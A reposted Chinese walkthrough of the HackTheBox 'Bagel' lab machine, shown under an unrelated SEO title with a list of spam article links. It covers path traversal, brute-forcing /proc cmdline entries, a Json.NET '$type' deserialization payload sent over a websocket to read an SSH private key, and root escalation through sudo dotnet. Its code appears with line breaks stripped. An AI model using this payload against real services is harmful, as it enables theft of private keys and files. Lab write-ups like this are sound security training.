当前位置: 首页 > news >正文

网站开发电子发票在哪里可以免费自学seo课程

网站开发电子发票,在哪里可以免费自学seo课程,没有服务器 怎么做网站,网页制作模板教程Bagel 今天我开始了《Red Team Development and Operations A Practical Guide》的学习,保持学习,后面差不多到时机后就学CRTOⅡ Bagel 是一款中等难度的 Linux 机器,其特点是电子商店容易受到路径遍历攻击,通过该攻击可以获取应…

Bagel

今天我开始了《Red Team Development and Operations A Practical Guide》的学习,保持学习,后面差不多到时机后就学CRTOⅡ


Bagel 是一款中等难度的 Linux 机器,其特点是电子商店容易受到路径遍历攻击,通过该攻击可以获取应用程序的源代码。然后,该漏洞用于下载“.NET”WebSocket服务器,该服务器一旦反汇编就会显示纯文本凭据。进一步的分析揭示了一个不安全的反序列化漏洞,该漏洞被用于读取任意文件,包括用户的私钥“SSH”。使用密钥在计算机上获取立足点,之前发现的密码用于透视到另一个用户,该用户可以使用具有“root”权限的“dotnet”工具。此错误配置用于执行恶意的“.NET”应用程序,从而导致权限完全升级。


外部信息收集

端口扫描

循例nmap

file

Web枚举

8000

file

发现这里存在任意文件读取

file

我们可以读取到app.py

file

don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.

这句话向我们提供的信息,我想5000端口就是这个程序

虽然也不是第一次遇到任意文件读取去读/proc下的东西,但是这一台靶机彻底的加深了我的印象

由于它在命令行运行dll的时候需要指定dll文件的路径,所以我们可以通过爆破pid来读取/proc/pid/cmdline,找到那个dll路径,再通过任意文件读取去下载它,然后对dll进行一个反编译

生成数字字典

for i in {1..1000};do echo $i >> ./nums.txt;done

ffuf

file

我在pid 933发现了它

file

/opt/bagel/bin/Debug/net6.0/bagel.dll

curl下下来

file

Foothold

MessageReceived函数将我们发送的json字符串反序列化后,进行了一次序列化,然后返回给客户端。

file

跟踪到Handler,序列化和反序列化函数都使用type 4

file

当类型值为4时,将允许处理程序从序列化数据中推断正确的类型。同时为了能够利用它,我们还能够看到result被指定为Object,否则的话可能会由于类型不一致导致报错。

object result;
...

在看另一个类File

	public class File{// Token: 0x17000007 RID: 7// (get) Token: 0x0600001C RID: 28 RVA: 0x00002400 File Offset: 0x00000600// (set) Token: 0x0600001B RID: 27 RVA: 0x000023DD File Offset: 0x000005DDpublic string ReadFile{get{return this.file_content;}set{this.filename = value;this.ReadContent(this.directory + this.filename);}}// Token: 0x0600001D RID: 29 RVA: 0x00002418 File Offset: 0x00000618public void ReadContent(string path){try{IEnumerable<string> values = File.ReadLines(path, Encoding.UTF8);this.file_content += string.Join("\n", values);}catch (Exception ex){this.file_content = "Order not found!";}}

我们能够利用ReadFile属性来进行任意文件读取,原因是当进行反序列化时我们将能够设置ReadFile属性,即设置filename字段,并触发ReadContent(),此时我们还无法获取到文件内容,当再进行一次序列化时,file_content字段这些数据就会被带出来。

import websocket,jsonws = websocket.WebSocket()
ws.connect("ws://bagel.htb:5000/") # connect to order app
order = {"RemoveOrder":{"$type": "bagel_server.File, bagel",
"ReadFile":"../../../../home/phil/.ssh/id_rsa"}}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
print(result)

我们还需要将ReadOrder改为RemoveOrder,这样我们就能不触发ReadOrder过滤…/的ReadFile,而是直接执行由我们指定的ReadFile函数了

运行exp我们能够得到phil的ssh私钥

file

登录ssh

file

本地横向移动 -> developer

前面在DB类里面发现了一组凭据,但遗憾的是developer不能使用密码登录ssh

file

不过我们现在立足后可以在内部使用su

file

本地权限提升

sudo -l

file

轻松的提权

先把bagel的project复制到tmp

file

vim改Program.cs,我这里选择读root flag

file

sudo dotnet run,我们将得到它

file

http://www.ds6.com.cn/news/49310.html

相关文章:

  • 网站建设项目价格宣传方式有哪些
  • 教育部学校规划建设发展中心官方网站近期国家新闻
  • 六年级做的网站的软件seo关键词优化
  • web网站开发 控件 图片全网营销思路
  • 做网站需要掌握上海高端网站定制
  • html5黑色网站常熟网站建设
  • dw旅游网站怎么做百度下载免费
  • 网站安全建设目的是深圳网络营销推广
  • 北京做网站哪里好搜索引擎优化方式
  • 前端网站做中 英文怎么说51link友链
  • 做网站需要记哪些代码危机公关处理方案
  • 自动翻译wordpress中文标签别名为英文seo优化专员工作内容
  • 专门做创意桌椅的网站百度账号注册入口
  • 济南正规做网站公司市场营销方案范文5篇
  • 军队工程建设项目招投标网站常熟seo关键词优化公司
  • 做最精彩绳艺网站百度一下官网首页百度一下
  • 做网站需要企业最好用的磁力搜索器
  • 网站建设方案2000字陕西网站制作
  • 龙华网站建设销售员宁波seo推广联系方法
  • 哪个网站可以做视频搜索引擎优化效果
  • 做钓鱼网站论坛软文案例短篇
  • 炫酷文字制作网站永久免费自助建站软件
  • 网站分析的数据来源有哪些自媒体运营主要做什么
  • 长沙专业个人做网站哪家好百度指数在线查询
  • 杭州正规企业网站建设搜索引擎优化教程
  • wordpress页面中添加小工具seo优化网站快速排名
  • 网上作业网站怎么做的上海seo招聘
  • 做网站投资多少钱金昌网站seo
  • wordpress 提供api2022年seo最新优化策略
  • 自己的网站怎么做搜索市场营销渠道